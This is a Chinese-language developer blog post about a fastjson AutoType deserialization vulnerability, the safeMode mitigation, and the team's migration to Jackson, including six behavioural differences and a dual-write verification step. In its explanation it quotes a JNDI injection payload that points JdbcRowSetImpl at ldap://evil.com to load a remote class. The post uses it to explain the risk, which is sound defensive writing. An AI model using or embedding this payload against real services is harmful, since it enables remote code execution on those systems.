安全组的一封邮件
2021 年 1 月 20 号上午,公司安全组群发了一封邮件,标题是《关于 fastjson 反序列化漏洞的紧急排查通知》,要求各业务线在周五前上报使用了 fastjson 的服务清单和版本。
我心里咯噔一下。我们三个核心服务全在用 fastjson,版本 1.2.62。
$ mvn dependency:tree | grep -i fastjson
[INFO] | \- com.alibaba:fastjson:jar:1.2.62:compile
AutoType 到底危险在哪
fastjson 有个 AutoType 机制:JSON 字符串里带一个 @type 字段,指定要反序列化成哪个类。设计初衷是为了多态序列化——父类字段声明、实际存子类对象时,靠 @type 还原真实类型。
String json = "{\"@type\":\"com.xxx.OrderExt\",\"extId\":123}";
Order order = JSON.parseObject(json, Order.class); // 实际得到 OrderExt
问题在于,反序列化时 fastjson 会自动调用这个类的 setter 方法和满足条件的 getter 方法。攻击者不需要你的代码里有任何显式调用,只要目标类的 setter 里做了危险的事,构造一个 JSON 就能触发。
最经典的是 com.sun.rowset.JdbcRowSetImpl,它是 JDK 自带的类,setDataSourceName() 接一个 JNDI 地址,setAutoCommit() 会真的去连接:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil.com:1389/Exploit",
"autoCommit": true
}
只要你的代码里有一处 JSON.parseObject(userInput)(parseObject(String) 这种不指定 Class 的重载),这段 JSON 就会让 JVM 去 evil.com 拉一个远程类并加载执行。JNDI 注入在 JDK 8u191 之后对 RMI/LDAP 加了限制,但不是所有场景都能挡住。
阿里这两年一直在打补丁:1.2.60 加黑名单、1.2.61 堵绕过、1.2.68 引入 safeMode……每出一个新绕过,就再升一个版本。我在 2020 年一年升了 5 次 fastjson,每次都是"紧急"。
黑名单这条路是靠不住的,JDK 里能做利用链的类太多了,堵不完。
两个方案
摆在面前的有两条路:
| 方案 | 改动量 | 风险 |
|---|---|---|
| 升到 1.2.68 并开 safeMode | 小,改一行配置 | 后续还要持续跟进新漏洞 |
| 迁移 Jackson | 大,我们 142 处调用 | 迁移期行为差异可能引入 bug |
如果来不及,safeMode 是必须立刻做的止血。它彻底禁用 AutoType,一行代码:
// 代码方式
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或者启动参数,不用改代码
-Dfastjson.parser.safeMode=true
// Spring Boot 里也可以写成
@PostConstruct
public void init() {
ParserConfig.getGlobalInstance().setSafeMode(true);
}
开了 safeMode 之后再反序列化带 @type 的 JSON,会直接抛异常:
com.alibaba.fastjson.JSONException: safeMode not support autoType : com.xxx.OrderExt
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1284)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
注意 safeMode 是 1.2.68 才引入的,1.2.67 及以下没有这个开关。所以必须先升到 1.2.68 以上。
我们当天下午就把三个服务全升到 1.2.75 并开了 safeMode,全回归测试通过。这是止血。但我在复盘会上提议做迁移,理由是:safeMode 关掉了 AutoType,那 fastjson 剩下的只有"API 好用"这一个优势了,而这个优势不足以抵消每年 5 次紧急升级的成本。团队同意了。
迁移中最容易踩的六个差异
2 月到 3 月,我们花了大约三周(三个人,兼职做)把三个服务迁完。下面是真正踩到的坑,按踩的频次排序。
1. Jackson 默认严格,未知字段直接报错
这是迁移期 bug 里最多的一类。对方接口加了个字段,fastjson 默默忽略,Jackson 抛异常:
com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException:
Unrecognized field "buyer_nick" (class com.xxx.OrderDTO),
not marked as ignorable (12 known properties: ...)
at [Source: (String)"{...}"; line: 1, column: 187]
必须显式配:
@Configuration
public class JacksonConfig {
@Bean
@Primary
public ObjectMapper objectMapper() {
ObjectMapper mapper = new ObjectMapper();
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
return mapper;
}
}
Spring Boot 里更省事:
spring:
jackson:
deserialization:
fail-on-unknown-properties: false
2. null 字段要不要输出
fastjson 默认不序列化值为 null 的字段,Jackson 默认输出。这个差异直接影响响应体大小,我们的订单接口响应从 1.8 KB 涨到 2.4 KB。
@JsonInclude(JsonInclude.Include.NON_NULL) // 类级别,对齐 fastjson 行为
public class OrderDTO { ... }
// 或全局配置
mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
3. 日期格式
fastjson 对 Date 默认输出 yyyy-MM-dd HH:mm:ss,Jackson 默认输出时间戳数字(1611302400000)。这个差异会让前端直接崩。
spring:
jackson:
date-format: yyyy-MM-dd HH:mm:ss
time-zone: GMT+8
serialization:
write-dates-as-timestamps: false # 关键
单个字段用注解,建议统一用这个而不是依赖全局配置:
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8")
private Date createTime;
4. 注解要逐个替换
| fastjson | Jackson | 说明 |
|---|---|---|
@JSONField(name="x") | @JsonProperty("x") | 字段重命名 |
@JSONField(serialize=false) | @JsonIgnore | 不序列化 |
@JSONField(format="yyyy-MM-dd") | @JsonFormat(pattern="yyyy-MM-dd") | 格式 |
@JSONField(ordinal=1) | @JsonPropertyOrder(类上) | 顺序 |
JSONField(serializeUsing=...) | @JsonSerialize(using=...) | 自定义序列化器 |
我们用 IDE 的全局替换加人工核对,142 个文件里手动改了 89 处。
5. 泛型要用 TypeReference
// fastjson
List<Order> list = JSON.parseArray(json, Order.class);
Map<String, Order> map = JSON.parseObject(json,
new TypeReference<Map<String, Order>>() {});
// Jackson
List<Order> list = mapper.readValue(json,
new TypeReference<List<Order>>() {});
Map<String, Order> map = mapper.readValue(json,
new TypeReference<Map<String, Order>>() {});
Jackson 没有 parseArray 这种便捷方法,泛型一律走 TypeReference。
6. JSONObject 的取值语义不一样
我们代码里有大量 JSONObject 直接取值的写法,这两个类的行为差别很大:
// fastjson: 类型宽容,会帮你转
JSONObject jo = JSON.parseObject(json);
int a = jo.getIntValue("count"); // 值是 "12" 字符串也能转成 12,null 返回 0
// Jackson: 没有对应类型就抛异常
JsonNode node = mapper.readTree(json);
int a = node.path("count").asInt(); // 缺省返回 0,不会抛
int b = node.get("count").asInt(); // 字段不存在时 NPE
建议一律用 path() 而不是 get()。path() 在节点不存在时返回 MissingNode,asInt() 返回 0,行为和 getIntValue 接近。
迁移后的验证
我们做了一件事来保证不出事:双写对比。关键接口上线后,同时用 fastjson 和 Jackson 各序列化一次,比对结果,不一致就打日志告警:
String byJackson = mapper.writeValueAsString(dto);
String byFastjson = JSON.toJSONString(dto);
if (!jsonEquals(byJackson, byFastjson)) {
log.warn("JSON_DIFF type={} jackson={} fastjson={}",
dto.getClass().getSimpleName(), byJackson, byFastjson);
}
跑了两周,累计 470 万次对比,捕获到 6 类不一致,全部是上面列的日期格式和 null 字段问题。确认全部清零后才把 fastjson 依赖删掉。
留个问题
关于《Fastjson 反序列化漏洞与 Jackson 迁移》里这个坑,你当时是怎么处理的?欢迎在评论区聊聊你踩过的类似情况。